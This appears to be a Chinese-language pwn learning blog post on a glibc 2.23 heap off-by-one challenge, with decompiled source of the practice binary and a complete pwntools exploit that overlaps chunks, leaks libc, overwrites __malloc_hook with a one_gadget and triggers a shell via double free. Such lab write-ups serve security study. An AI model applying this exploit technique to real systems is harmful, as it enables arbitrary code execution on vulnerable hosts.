Pwn学习总结(21):Heap-OtherBin/offbyone

实验平台:

x86_64, Ubuntu 16.04.7 LTS, Kernel 4.15.0-142-generic
GLIBC 2.23-0ubuntu11.3

实验Binary及答案:https://github.com/bjrjk/pwn-learning/tree/main/OtherBin/offbyone

ELF安全性:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

amd64体系结构,保护全开。
这道题开启了PIE,我们不好再利用可执行文件的地址了,GOT表也禁止写入。

反编译后的C代码如下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    putchar('>');
    _isoc99_scanf("%d", &v3);
    if ( v3 == 1 )
      new_data();
    if ( v3 == 2 )
      delete_data();
    if ( v3 == 3 )
      show();
    if ( v3 == 4 )
      edit();
  }
}
void init()
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
}
unsigned __int64 new_data()
{
  int size; // [rsp+0h] [rbp-10h] BYREF
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("size ?");
  size = 0;
  _isoc99_scanf("%d", &size);
  if ( size < 0 || size > 0x110 || note_num > 11 )
    exit(0);
  for ( i = 0; i <= 11 && data[i]; ++i )
    ;
  data[i] = (char *)malloc(size);
  printf("data:");
  read(0, data[i], (unsigned int)size);
  data_size[i] = size;
  ++note_num;
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 delete_data()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index?");
  _isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > note_num )
    exit(0);
  free(data[v1]);
  data[v1] = 0LL;
  --note_num;
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 show()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index?");
  _isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > note_num )
    exit(0);
  if ( data[v1] )
    puts(data[v1]);
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 edit()
{
  int index; // [rsp+0h] [rbp-10h] BYREF
  int ret; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("index?");
  _isoc99_scanf("%d", &index);
  if ( index < 0 || index > note_num )
    exit(0);
  if ( data[index] )
  {
    printf("data?");
    ret = read(0, data[index], (unsigned int)(data_size[index] + 1));
  }
  return __readfsqword(0x28u) ^ v3;
}

可以看出,和上一套题目基本上没有什么变化,只是保护措施增加了。我们需要引出offbyone一种新的利用方法,那就是,修改块的size信息,使得chunk之间相互重叠。释放再分配后,出现chunk的重复分配,进而实现double free,利用__malloc_hook得到shell。

Exp如下:

#!/usr/bin/env python2
# coding = utf-8
# Environment: Ubuntu 16.04

from pwn import *
from LibcSearcher import *
context(arch = "amd64", os = "linux", log_level = "debug")

def send_choice(choice):
    p.recvuntil('>')
    p.sendline(str(choice))

def new_data(size, data):
    send_choice(1)
    p.recvuntil('size ?')
    p.sendline(str(size))
    p.recvuntil('data:')
    p.send(data)

def delete_data(index):
    send_choice(2)
    p.recvuntil('index?')
    p.sendline(str(index))

def show_data(index):
    send_choice(3)
    p.recvuntil('index?')
    p.sendline(str(index))

def edit_data(index, data):
    send_choice(4)
    p.recvuntil('index?')
    p.sendline(str(index))
    p.recvuntil('data?')
    p.send(data)

p = process('./offbyone')
elf = ELF('./offbyone')
gdb.attach(p, '')

"""
Heap Layout:
|--------------------
|chunk used to do off-by-one
|--------------------
|chunk to do overlap
|--------------------
|chunk to be overlapped
|--------------------
|isolating chunk(from top)
|--------------------
|top chunk(lefted)
|--------------------
SmallBin: 0x80 < size < 0x400
"""

# Step 1: Forge an overlapped chunk
new_data(0x28, 'a') # Chunk 0
new_data(0xf0, 'a') # Chunk 1
new_data(0x60, '/bin/sh\x00') # Chunk 2
new_data(0x60, '/bin/sh\x00') # Chunk 3
edit_data(0, '\x00' * 0x28 + '\x71') # Forge Chunk 1's size to overlap Chunk 2
delete_data(1) # After free, Free Chunk 1's size is (0x170 | PREV_INUSE), overlapped Chunk 2, enetered unsorted bin

# Step 2: Leak libc via freed unsortedbin chunk's fd & bk
new_data(0xf0, '\x08') # Chunk 1
show_data(1)
libc_malloc_hook_offsetP_f8 = u64(p.recv(6) + '\x00\x00') # leaked __malloc_hook + 0xf8
__malloc_hook_libc = libc_malloc_hook_offsetP_f8 - 0xf8
libc = LibcSearcher('__malloc_hook', __malloc_hook_libc)
libc_base = __malloc_hook_libc - libc.dump('__malloc_hook')
system_libc = libc_base + libc.dump('system')
log.info('libc_base: ' + hex(libc_base))
log.info('system_libc: ' + hex(system_libc))

# Step 3: Get double allocate chunk to exploit double free, write __malloc_hook to one_gadget
new_data(0x60, '/bin/sh\x00') # Chunk 4 (Double allocated Chunk 2)
__malloc_hook_offsetN_23 = __malloc_hook_libc - 0x23
delete_data(4)
edit_data(2, p64(__malloc_hook_offsetN_23))
new_data(0x60, 'a') # Chunk 4
one_gadget = libc_base + 0xf03a4
new_data(0x60, '\x00' * 0x13 + p64(one_gadget))

# Step 4: Trigger malloc one_gadget using double free
delete_data(2)
delete_data(4)
p.interactive()

其中第42~53行是进行堆利用时的布局。

第58~61行首先申请4个chunk。其中chunk 0是专用于修改chunk 1的size。chunk 2用于被chunk 1所覆盖,chunk 3用于将上面的chunk与top chunk隔离。

第62行,扩大了原本大小为0x100的chunk 1,使其大小变为了0x170,恰好覆盖了chunk 2。

第63行,释放了chunk 1,以便后续进行再次分配。此时free chunk 1进入的是unsortedbin。

第66~68行泄露libc基址。此时能够泄露的原因是:free chunk 1是unsortedbin中唯一的chunk,其fd指针指向libc内部数据地址。我们可以通过gdb调试,获取fd指针指向的具体位置,定位到最近的符号,就可以通过LibcSearcher获取到相应的libc基址及system地址。

第77~83行,按照(char*)__malloc_hook - 0x23的方法覆写__malloc_hook到one_gadget,具体方法可参见[1]。

第86~87行,使用double free的方法触发one_gadget。

参考资料:
[1] https://renjikai.com/pwn-learning-summary-19/

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注